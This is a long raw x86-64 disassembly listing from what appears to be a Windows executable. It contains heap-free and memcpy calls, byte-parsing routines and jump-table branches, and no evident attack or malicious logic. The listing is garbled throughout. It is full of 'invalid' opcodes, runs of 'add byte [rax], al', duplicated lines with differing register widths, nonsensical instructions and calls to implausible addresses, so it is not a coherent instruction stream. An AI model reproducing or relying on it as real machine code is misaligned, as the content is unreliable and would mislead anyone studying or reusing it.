cmp rax, rsi
jne 0x14009e891
invalid
mov edx, 0x40
mov rcx, qword [rsp + 0x128]
call fcn.1400126a0
idiv edi
mov rsi, qword [rdi + 0x1a8]
mov rax, qword [rdi + 0x1b0]
invalid
add byte [rax + 0x29], cl
invalid
sub rax, rsi
sub eax, esi
mov rcx, qword [rsp + 0x128]
and al, 0x28
add dword [rax], eax
add byte [rax + 3], cl
sub byte [rcx], al
add byte [rax], al
add rsi, qword [rcx]
mov qword [rsp + 0x1c0], rsi
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsp + 0x1c8], eax
xor dword [rax - 0x77], ecx
mov ah, 0x24
rol byte [rcx], 0
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
test byte [rax + rcx*8], ah
and al, 0xc8
mov dword [rsp + 0x1c8], eax
and al, 0xc8
add dword [rax], eax
add byte [rcx + 0xf], al
adc dword [rdi + 8], edi
movups xmmword [r15 + 8], xmm7
mov qword [rsp + 0xae0], rsi
mov rcx, rbx
invalid
mov rdx, rbp
invalid
lea r8, [rsp + 0x1c0]
rol byte [rcx], 0
add byte [rcx - 1], al
push rsi
invalid
invalid
invalid
rol byte [rcx], 0
add byte [rcx - 1], al
push rsi
sbb byte [rax - 0x7b], cl
test rax, rax
invalid
test esp, edi
test rax, rax
jne 0x1400a15d3
sub al, 0
add byte [rcx - 0x77], cl
mov r13, rdx
test rdx, rdx
jne 0x1400a19c0
invalid
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1d0]
mov ecx, dword [rsp + 0x1d0]
add byte [rax], al
add byte [rax + 0x39], cl
ror dword [rdi], 1
xchg edi, ebp
add byte [r8], al
add byte [rax], al
cmp rcx, rdx
ja 0x1400a32eb
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x728], rax
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
invalid
add byte [rax], al
add byte [rax + 0x39], cl
cmp rsi, rax
jne 0x1400a32f7
test edx, esp
add byte [r8], al
invalid
test edx, esp
loop 0x14009e95c
add byte [r8], al
add byte [rax], al
mov rax, qword [rdi + 0x1a8]
add rax, rcx
enter 0xffffffffffff8948, 0xffffffffffffff84
test byte [rax + rbp], ah
invalid
add byte [rax], al
cmp rax, qword [rdi + 0x1b0]
cmp eax, dword [rdi + 0x1b0]
add byte [rax + 1], cl
enter 0xffffffffffff8948, 0xffffffffffffff84
test byte [rax + rbp], ah
test byte [rax + rbp], ah
invalid
cmp eax, dword [rdi + 0x1b0]
ja 0x1400a3320
mov qword [rdi + 0x1a8], rax
test rcx, rcx
jne 0x1400a15a2
mov al, 1
cmp byte [rdi + 0x1c0], 0
je 0x1400a13ff
test byte [rdx + rbp + 0xbe90000], ch
sub eax, 0x1b10000
jmp case.0x140073b82.182
std
invalid
invalid
jmp 0x1400a1663
std
std
invalid
xor ecx, ecx
mov al, 0xa
jmp case.0x140073b82.182
or byte [rdi], cl
xchg byte [rbx], dh
add byte [r8], r8b
add byte [rax + 0x44894801], dh
and al, 0x70
mov eax, 1
add byte [rax - 0x77], cl
and al, 0x68
and al, 0x68
add byte [rax - 0x77], cl
and al, 0x68
and al, 0x68
and al, 0x68
mov r9b, 0xa
test ebx, ebx
mov rbp, qword [rsp + 0x38]
insb byte [rdi], dx
and al, 0x38
insb byte [rdi], dx
and al, 0x38
lea r15, [rsp + 0x1c8]
je 0x14009f070
invalid
invalid
add byte [rax], al
invalid
mov dword [rsp + 0x34], 0
and al, 0x34
add byte [rax], al
add byte [rax], al
xor eax, eax
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
xor eax, eax
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x58], eax
and al, 0x58
lea rax, [0x14016f768]
lea eax, [0x14016f768]
mov qword [rsp + 0x78], rax
lea rax, [0x1401127a0]
mov qword [rsp + 0x40], rax
mov al, 1
mov al, 1
mov qword [rsp + 0x50], rax
and al, 0x50
xor ebx, ebx
mov dword [rsp + 0x84], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x1400a017b
add byte [rax], al
mov qword [rax], 2
mov dword [rax], 2
add byte [rax - 0x39], cl
add byte [rdx], al
add byte [rax], al
add dh, al
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdx], cl
mov dword [rax], 2
mov byte [rsp + 0x120], 0xa
cmp ebp, 2
jne 0x14009ed3f
invalid
invalid
add eax, dword [rax]
invalid
xor esi, esi
mov r9d, 1
add byte [rax], al
add byte [rax], al
mov r14b, 1
mov r8b, 1
lea r10, [0x1401127a0]
lea rax, [0x14016f768]
lea eax, [0x14016f768]
lea eax, [0x14016f768]
or eax, 0x8948000d
and al, 0x78
mov qword [rsp + 0x78], rax
xor r11d, r11d
xor ebx, ebx
fild dword [rbp + 0x31]
in eax, dx
fild dword [rbp + 0x31]
in eax, dx
mov rbp, qword [rsp + 0x38]
insb byte [rdi], dx
and al, 0x38
jmp 0x14009f499
add byte [rax], al
mov al, 1
mov qword [rsp + 0x50], rax
mov eax, 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], rax
and al, 0x68
mov r9b, 0xa
test ebx, ebx
je 0x14009f01a
cmp r12, 8
mov rbp, qword [rsp + 0x38]
cld
or byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x38
jbe 0x1400a376f
cmp r12, 0xe
lea r15, [rsp + 0x1c8]
enter 1, 0
add dword [rax], eax
add byte [rdi], cl
test byte [rcx + 9], bl
add byte [rax], al
add dword [rax], eax
add byte [rdi], cl
test byte [rcx + 9], bl
add byte [rax], al
mov dword [rsp + 0x34], 0
and al, 0x34
add byte [rax], al
add byte [rax], al
jmp 0x14009f18c
jbe 0x1400a36b9
cmp r12, 0xd
mov rbp, qword [rsp + 0x38]
insb byte [rdi], dx
and al, 0x38
insb byte [rdi], dx
and al, 0x38
lea r15, [rsp + 0x1c8]
add byte [rax], al
je 0x14009f0e3
add byte [rax + 0x44894801], dh
and al, 0x70
mov al, 1
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x34], 0
mov eax, 1
mov qword [rsp + 0x68], rax
mov r9b, 0xa
jmp 0x14009ed0b
add byte [rax], al
add byte [rax], al
cmp r12, 8
jbe 0x1400a36e1
add byte [rcx - 0x73], cl
and al, 0xf7
cmp rax, 8
invalid
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1c8]
add byte [rax], al
add byte [rax], al
jae 0x14009ef8b
movsb byte [rdi], byte [rsi]
add al, 0
add byte [rbx + 0x4c4248c], cl
add byte [rax], al
mov ecx, dword [rsp + 0x4c4]
mov eax, ecx
and eax, 0xffff0000
or eax, 0x101
shr ecx, 0x10
mov dword [rsp + 0x84], ecx
add byte [rcx + 0x4c894801], dh
and al, 0x70
enter 0x25, 0
invalid
add byte [rcx + 0x4c894801], dh
and al, 0x70
mov dword [rsp + 0x34], 0
mov ecx, 1
mov qword [rsp + 0x68], rcx
and al, 0x68
and al, 0x68
mov r9b, 0xa
mov dword [rsp + 0x4c4], eax
jmp 0x14009ed0b
invalid
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x330]
lea rdx, [rsp + 0x310]
adc byte [rbx], al
add byte [rax], al
adc byte [rbx], al
add byte [rax], al
add eax, dword [rax]
add al, ch
mov ecx, 0x4cfff739
mov eax, dword [rsp + 0x348]
invalid
call fcn.140012500
mov r8, qword [rsp + 0x348]
invalid
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rsi], ecx
add eax, dword [rax]
add al, dh
test r8b, 1
jne 0x14009ee67
lock dec qword [r8 + 0x20]
dec qword [r8 + 0x20]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jne 0x14009ee93
invalid
add byte [rcx - 0x75], cl
and byte [rcx - 0x7d], cl
and byte [rcx - 0x7d], cl
mov rax, qword [r8 + 0x20]
and byte [rcx - 0x7d], cl
cmp qword [r8], 0
cmp byte [rax], al
je 0x14009ee87
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
or eax, 0xde684
xor edx, edx
mov r12, r8
mov r8, rax
mov eax, eax
mov eax, eax
call r13
mov r8, r12
jmp 0x14009ee87
invalid
lea ecx, [rsp + 0x330]
lea rdx, [rsp + 0x310]
add eax, dword [rax]
invalid
add eax, dword [rax]
add al, ch
cmp rdi, r14
dec dword [rbx + rcx*4 - 0x7c]
and al, 0x48
add eax, dword [rax]
add byte [rcx - 0xa], al
test r8b, 1
jne 0x14009ef21
add byte [rax], al
call fcn.140012500
mov r8, qword [rsp + 0x348]
test r8b, 1
jne 0x14009ef21
lock dec qword [r8 + 0x20]
mov rbp, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
jne 0x14009ef4e
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
cmp byte [rax], al
cmp byte [rax], al
je 0x14009ef3f
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x70805
adc eax, 0x70805
mov r8, r12
jmp 0x14009ef3f
and al, 0x70
mov eax, 1
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x68
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x68
mov r9b, 0xa
test ebx, ebx
mov rbp, qword [rsp + 0x38]
and al, 0x38
lea r15, [rsp + 0x1c8]
jne 0x14009ed0b
int 0
add byte [rax], al
int 0
add byte [rax], al
cmp r12, 0x11
jne 0x14009ed0b
mov rax, qword [r13 + 9]
movq xmm15, rax
and sil, 1
movdqa xmm0, xmm15
psrlq xmm0, 0x10
movd dword [rsp + 0x134], xmm0
shr rax, 0x30
mov qword [rsp + 0x70], rax
mov al, 1
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov r12b, 5
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x48], rax
mov byte [rsp + 0xb7], sil
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x94], eax
jmp 0x1400a117e
xor eax, eax
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x58], rax
lea rax, [0x14016f768]
mov qword [rsp + 0x78], rax
lea rax, [0x1401127a0]
mov qword [rsp + 0x40], rax
mov al, 1
mov qword [rsp + 0x50], rax
xor ebx, ebx
jmp 0x1400a017b
mov r8d, 0x140
lea rcx, [rsp + 0x1c8]
mov rdx, qword [rsp + 0x4a0]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x1c0], rbp
xor eax, eax
test rbp, rbp
sete al
cmp dword [rsp + rax*8 + 0x2d8], r14d
jne case.0x14009e6a0.305
mov rbx, qword [rsp + 0x2f0]
test rbx, rbx
je 0x1400a00f2
cmp byte [rsp + 0x2d0], 0
je 0x1400a0671
mov rcx, qword [0x14017d208]
xor edx, edx
call r12
mov r13, qword [rsp + 0x310]
mov r8, qword [rsp + 0x318]
mov rcx, qword [rsp + 0x328]
test cl, 1
mov rbp, qword [rsp + 0x38]
jne 0x14009eed6
mov qword [rsp + 0xf8], r13
mov qword [rsp + 0x100], r8
mov qword [rsp + 0x108], rcx
lea rax, [0x14014bbf0]
mov qword [rsp + 0xf0], rax
mov r9, rax
test ebx, ebx
jne 0x1400a075d
jmp 0x1400a07f1
shr r8, 5
neg r8
cmp qword [rsp + 0x340], r8
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14009ee93
add r8, qword [rsp + 0x330]
mov rcx, qword [0x14017d208]
xor edx, edx
call r13
movdqu xmm0, xmmword [rsp + 0x310]
movdqu xmm1, xmmword [rsp + 0x320]
movdqa xmmword [rsp + 0xd0], xmm1
movdqa xmmword [rsp + 0xc0], xmm0
test ebx, ebx
je 0x14009f063
mov r12, r13
mov r13, qword [rsp + 0x320]
shr rcx, 5
sub r12, rcx
mov r15, rcx
lea rdx, [rcx + r8]
cmp r8, r13
jne 0x14009f383
test rdx, rdx
je 0x1400a0155
mov r13, r12
mov rax, r12
test r13b, 1
jne 0x1400a0711
or rax, 1
lea r9, [0x140126040]
jmp 0x1400a0718
shr r8, 5
neg r8
cmp qword [rsp + 0x340], r8
mov rbp, qword [rsp + 0x38]
je 0x14009ef4e
add r8, qword [rsp + 0x330]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rsp + 0x310]
movdqu xmm1, xmmword [rsp + 0x320]
movdqa xmmword [rsp + 0xd0], xmm1
movdqa xmmword [rsp + 0xc0], xmm0
test ebx, ebx
je 0x1400a001a
test sil, 8
jne 0x14009f247
mov r14d, dword [r13 + 9]
movzx esi, byte [r13 + 0xd]
movzx ebx, byte [r13 + 0xe]
movzx eax, byte [r13 + 0xf]
mov dword [rsp + 0x34], eax
movzx r8d, byte [r13 + 0x10]
add r12, 0xffffffffffffffef
je case.0x140092aab.100
mov dword [rsp + 0x50], r8d
js 0x1400a3871
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r12
call fcn.1400e0010
test rax, rax
je 0x1400a3864
mov r15, rax
add r13, 0x11
mov rcx, rax
mov rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
test r15b, 1
mov r13, r15
jne case.0x1400970a3.53
mov rdx, r13
or rdx, 1
mov r15, r12
shr r15, 0x20
mov qword [rsp + 0x88], r12
lea rcx, [0x140126040]
jmp 0x14009f606
mov dword [rsp + 0x34], 0
xor eax, eax
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x58], rax
lea rax, [0x14016f768]
mov qword [rsp + 0x78], rax
lea rax, [0x1401127a0]
mov qword [rsp + 0x40], rax
mov al, 1
mov qword [rsp + 0x70], rax
xor ebx, ebx
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1c8]
jmp 0x1400a017b
add r12, 0xfffffffffffffff7
test sil, 1
jne 0x14009f57f
mov rax, r12
movabs rcx, 0xaaaaaaaaaaaaaaab
imul rax, rcx
ror rax, 1
movabs rcx, 0x2aaaaaaaaaaaaaab
cmp rax, rcx
jae 0x14009e99b
mov eax, dword [r13 + 9]
bswap eax
mov qword [rsp + 0x70], rax
mov al, 1
mov qword [rsp + 0x50], rax
mov r12b, 8
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x134], r14d
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x94], eax
jmp 0x1400a117e
xor eax, eax
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x58], rax
lea rax, [0x14016f768]
mov qword [rsp + 0x78], rax
lea rax, [0x1401127a0]
mov qword [rsp + 0x40], rax
mov al, 1
mov qword [rsp + 0x70], rax
xor ebx, ebx
jmp 0x1400a017b
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
and byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x1c0]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc0
add byte [rax], al
add al, ch
add eax, 0x4cfff733
mov eax, dword [rsp + 0x1d8]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc0
add byte [rax], al
add al, ch
add eax, 0x4cfff733
mov eax, dword [rsp + 0x1d8]
add byte [rax], al
test r8b, 1
jne 0x14009f86b
lock dec qword [r8 + 0x20]
jne 0x14009f893
and byte [rdi], cl
test dword [rbx + 6], edi
add byte [rax], al
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14009f884
add byte [rax], al
add byte [rax], al
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov rbx, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rbx
jmp 0x14009f884
mov r8d, 1
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0xc0]
call fcn.140012500
xor dh, bh
dec dword [rbx + rcx*4 - 0x7c]
and al, 0xd8
add dword [rax], eax
invalid
xor dh, bh
dec dword [rbx + rcx*4 - 0x7c]
and al, 0xd8
add dword [rax], eax
add byte [rcx - 0xa], al
test r8b, 1
jne 0x14009ff36
test al, 0xc
add byte [rax], al
lock dec qword [r8 + 0x20]
test r8b, 1
jne 0x14009ff36
test al, 0xc
add byte [rax], al
test al, 0xc
add byte [rax], al
lock dec qword [r8 + 0x20]
jne 0x14009ff5e
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
cmp dword [rax], 0
and byte [rcx - 0x7d], cl
cmp byte [rax], al
cmp dword [rax], 0
je 0x14009ff4f
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r12, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, r12
mov eax, esp
mov eax, esp
jmp 0x14009ff4f
mov al, 1
mov dword [rsp + 0xe8], eax
mov dword [rsp + 0x110], 0
mov dword [rsp + 0xe0], 1
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
xor eax, 0x734b2
lea rsi, [0x1401127a0]
lea r15, [0x14016f768]
xor r12d, r12d
jae 0x14009f2f7
or eax, 0xe4314500
in al, 0x31
fild dword [rbp + 0x31]
in eax, dx
xor ebx, ebx
xor r13d, r13d
mov rbp, qword [rsp + 0x38]
lea rcx, [rsp + 0x1c8]
mov word [rax + rcx*8], fs
add dword [rax], eax
add al, ch
loope 0x14009f33e
sti
invalid
mov word [rax + rcx*8], fs
and al, 0xc8
add dword [rax], eax
add al, ch
loope 0x14009f33e
sti
dec dword [rax - 0x73]
invalid
invalid
mov word [rax + rbp], fs
and al, 0x28
lea rcx, [rsp + 0x228]
call fcn.14001b280
mov r8, qword [rsp + 0x300]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rax], ebx
sbb byte [rcx], al
add byte [rax], al
and al, 0x28
add al, byte [rax]
add al, ch
mov edi, 0x8b4cfff7
test byte [rax + rax], ah
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rax], ebx
sbb byte [rcx], al
add byte [rax], al
lock dec qword [r8 + 0x20]
sbb byte [rcx], al
add byte [rax], al
lock dec qword [r8 + 0x20]
mov r14b, 1
mov dh, 1
jne 0x14009f471
test dword [0x18909f33e], esi
mov eax, dword [rax + 0x20]
mov rax, qword [r8 + 0x20]
and byte [rcx - 0x7d], cl
cmp byte [rax], al
cmp qword [r8], 0
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14009f373
add byte [rdi], al
add byte [rsi + riz + 0x49], dh
mov eax, dword [rax + 8]
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r14, r8
invalid
mov al, 0xde
or eax, 0x4dd23100
mov esi, eax
invalid
invalid
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x75], cl
add eax, 0x70093
add byte [rax - 0x75], cl
add eax, 0x70093
mov r8, r14
mov r14b, 1
add dword [rax - 0x75], ecx
or eax, 0xdde8e
mov rcx, qword [0x14017d208]
xor edx, edx
call rax
shr cl, 1
out dx, al
add byte [rax], al
add byte [rax], al
shr cl, 1
out dx, al
add byte [rax], al
add byte [rax], al
mov rbp, rdx
add byte [rax], al
mov rbp, rdx
mov ebp, edx
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
add al, 0
add al, 0
test rax, rax
je 0x1400a3876
add r13, r15
std
mov qword [rax], r12
mov qword [rax + 8], r13
mov r13, r12
mov qword [rax + 0x10], 1
lea r9, [0x140110b88]
invalid
add byte [rax - 0x77], cl
invalid
mov rbp, qword [rsp + 0x38]
cmp cl, ch
adc r8, qword [r8]
adc eax, dword [rax]
invalid
invalid
cmp cl, ch
adc r8, qword [r8]
adc eax, dword [rax]
add byte [rcx - 0x75], al
push rbp
or dword [rdi], ecx
retf 0xd089
mov edx, dword [r13 + 9]
bswap edx
mov eax, edx
and eax, 0x7fffffff
invalid
invalid
invalid
jg 0x14009f41a
movzx ecx, byte [rbp + 0xd]
mov dword [rsp + 0x330], eax
invalid
mov byte [rsp + 0x334], cl
mov eax, dword [rsp + 0x331]
mov word [rsp + rsi], fs
add eax, dword [rax]
add byte [rbx + 0x3312484], cl
add byte [rax], al
mov byte [rsp + 0x330], dl
add byte [rax], al
mov dword [rsp + 0x331], eax
xor dword [rbx], eax
add byte [rax], al
mov ecx, dword [rsp + 0x330]
cmp ecx, r14d
jne 0x14009f667
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0x40]
and al, 0x40
invalid
and al, 0x40
and rcx, rax
or rcx, 1
mov qword [rsp + 0x40], rcx
xor eax, eax
mov qword [rsp + 0x70], rax
mov eax, r14d
mov qword [rsp + 0x68], rax
mov ebx, dword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add cl, ch
invalid
invalid
add byte [rax], al
and al, 0x88
add byte [rax], al
add cl, ch
xor eax, 0x4900000d
add byte [rax], al
shr r8, 5
add byte [rax], al
shr r8, 5
neg r8
mov r14b, 1
cmp qword [rsp + 0x2f8], r8
add byte [rax], al
je 0x14009f471
add r8, qword [rsp + 0x2e8]
mov rcx, qword [0x14017d208]
or eax, 0xddd9f
test byte [rax + rbp*8], ah
add al, byte [rax]
add byte [rax - 0x75], cl
or eax, 0xddd9f
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rsp + 0xe8]
mov r8d, eax
mov r10, rsi
mov qword [rsp + 0x78], r15
jl 0x14009f4a6
js 0x14009f40f
test byte [rax + rdx], ah
and al, 0x10
add dword [rax], eax
add byte [rcx - 0x1c76ba3a], cl
and al, 0x10
add dword [rax], eax
add byte [rcx - 0x1c76ba3a], cl
mov eax, dword [rsp + 0xe0]
mov r9d, eax
mov rdx, qword [rsp + 0x198]
cmp rdx, 2
lea r15, [rsp + 0x1c8]
enter 1, 0
mov dword [rsp + 0x34], r13d
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x50], r14
je 0x1400a0172
mov rcx, qword [rsp + 0x1a0]
add byte [rax], al
mov rax, qword [rsp + 0x1a8]
test rdx, rdx
je 0x14009f4fd
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x1b0]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x198]
add dword [rax], eax
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rax + 0xc], bl
add byte [rax], al
add bh, bh
push rax
push 0x24848b4c
cwde
add dword [rax], eax
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rax + 0xc], bl
add byte [rax], al
mov rdx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1a0]
add byte [rax], al
mov rax, qword [rsp + 0x1a8]
add byte [rax], al
and al, 0xb0
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
add dword [rax], eax
add byte [rax], al
mov rax, qword [rsp + 0x1a8]
add byte [rax], al
test r8, r8
je 0x1400a016c
mov r8, qword [rax + 0x10]
invalid
invalid
add byte [rax], al
test r8, r8
je 0x1400a016c
mov r8, qword [rax + 0x10]
dec r8
dec eax
adc byte [rcx - 1], cl
dec eax
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
add ecx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x1a0]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x1400a0172
test dword [0x18809f572], ecx
mov ecx, dword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x1a8]
call fcn.1400049d0
add al, ch
push rsi
push rsp
idiv bh
jmp 0x1400a0172
mov al, 1
mov qword [rsp + 0x70], rax
add dword [rax - 0x77], ecx
and al, 0x70
mov dword [rsp + 0x34], 0
test r12, r12
in al, 0xf
test dword [rsp + rsi*8], ecx
invalid
invalid
in al, 0xf
test dword [rsp + rsi*8], ecx
invalid
pxor xmm0, xmm0
xor r8d, r8d
out dx, eax
rol byte [rbp + 0x31], 0xc0
sal byte [rcx], 0xc0
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x88], rcx
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rbp + 0x31], al
dec dword [rax - 0x77]
and al, 0x58
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rbp + 0x31], al
dec dword [rax - 0x77]
and al, 0x58
xor ecx, ecx
mov qword [rsp + 0x48], rcx
and al, 0x48
and al, 0x48
xor ecx, ecx
xor r9d, r9d
xor r10d, r10d
mov r11b, 1
jmp 0x1400a1033
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
xor edx, edx
lea r13, [0x14016f768]
xor r15d, r15d
ror byte [rbp + rcx*4 + 0x2d], cl
xchg ecx, eax
add dword [0x13f3b3ada], ecx
xor eax, eax
mov qword [rsp + 0x88], rax
lea rcx, [0x140110a98]
adc al, 7
add bl, ch
invalid
adc al, 7
add bl, ch
invalid
mov r15, r12
mov edi, esp
shr r15, 0x20
mov rdx, r13
mov qword [rsp + 0x88], r12
mov dword [rsp + 0x88], esp
mov dword [rsp + 0x88], esp
lea rcx, [0x140126058]
mov r8d, dword [rsp + 0x50]
mov rax, r13
shr rax, 0x20
mov qword [rsp + 0x40], rax
call 0x184933e35
and al, 0x40
and byte [rax - 0x77], cl
and al, 0x40
mov qword [rsp + 0x58], rdx
mov dword [rsp + 0x58], edx
shr rdx, 0x20
invalid
mov qword [rsp + 0x48], rdx
mov dword [rsp + 0x48], edx
shl ebx, 0x10
shl esi, 0x18
out 0x18, al
out 0x18, al
or esi, ebx
mov eax, dword [rsp + 0x34]
shl eax, 8
or eax, esi
or eax, r8d
ror byte [rcx + 0x41342444], 0x81
out 0x7f, al
invalid
invalid
inc dword [rcx + 0xf]
invalid
mov rax, rcx
mov eax, ecx
ror byte [rcx + 0x41342444], 0x81
out 0x7f, al
invalid
inc dword [rcx + 0xf]
invalid
mov eax, ecx
mov qword [rsp + 0x70], rcx
and al, 0x70
shr rcx, 0x20
mov qword [rsp + 0x68], rcx
mov al, 1
mov qword [rsp + 0x50], rax
mov r12b, 6
invalid
jmp 0x1400a1170
invalid
mov qword [rsp + 0x70], rcx
mov dword [rsp + 0x70], ecx
shr eax, 0x18
shr edx, 0x17
invalid
and edx, 0x100
loop 0x14009f675
add dword [rax], eax
invalid
invalid
loop 0x14009f675
add byte [rcx], al
add byte [rax], al
or edx, eax
mov qword [rsp + 0x68], rdx
push 0xffffffff894801b0
and al, 0x50
and al, 0x50
push 0xffffffff894801b0
and al, 0x50
and al, 0x50
and al, 0x50
mov r12b, 2
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x88], rax
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x58
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
mov dword [rsp + 0x134], r14d
and al, 0x34
add dword [rax], eax
add cl, ch
invalid
ret
jmp 0x1400a1170
shl ebx, 0x18
shl esi, 0x10
or esi, ebx
shl r10d, 8
or byte [rcx + 9], al
or r10d, r11d
or byte [rcx + 9], al
or r10d, r11d
mov dword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov r8d, r10d
mov eax, edx
mov dword [rsp + 0x78], r10d
nop
mov rbp, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
add r13, r9
sub r12, r9
je 0x1400a0fcf
add byte [rax], al
int3
add byte [rax], al
add byte [rcx - 0x7d], cl
cld
invalid
cmp r12, 6
mov r9d, 6
cmovb r9, r12
cmp r12, 1
cmp esp, 1
cmp esp, 1
cld
add dword [rdi], ecx
invalid
je 0x1400a3207
test byte [rsi], cl
cmp eax, dword [rax]
add byte [rcx - 0x7d], cl
cld
add cl, byte [rdi]
xchg byte [rdx], bl
cmp eax, dword [rax]
add byte [rax], al
cmp r12, 3
je 0x1400a3233
cmp r12, 4
jbe 0x1400a3249
cmp r12, 5
je 0x1400a325f
test byte [rsi], bh
cmp eax, dword [rax]
add byte [rbp + 0xf], al
mov dh, 0x55
add byte [rbp + 0xf], al
mov dh, 0x5d
add dword [rcx - 0x3f], eax
shl edx, 8
cmp r12, 2
jbe 0x1400a321d
add byte [rax], al
cmp r12, 3
cmp esp, 3
je 0x1400a3233
cmp r12, 4
jbe 0x1400a3249
cmp r12, 5
je 0x1400a325f
test byte [rsi], bh
cmp eax, dword [rax]
invalid
test byte [rsi], bh
cmp eax, dword [rax]
add byte [rbp + 0xf], al
mov dh, 0x55
add byte [rbp + 0xf], al
mov dh, 0x5d
add dword [rcx - 0x3f], eax
invalid
shl edx, 8
loop 0x14009f737
lea ebp, [r10 + r11]
dec ebp
cmp ebp, 7
ja case.default.0x14009f75c
invalid
movzx ebx, byte [r13 + 2]
movzx esi, byte [r13 + 3]
movzx r10d, byte [r13 + 4]
add al, 0x45
movzx ebx, byte [rbp + 5]
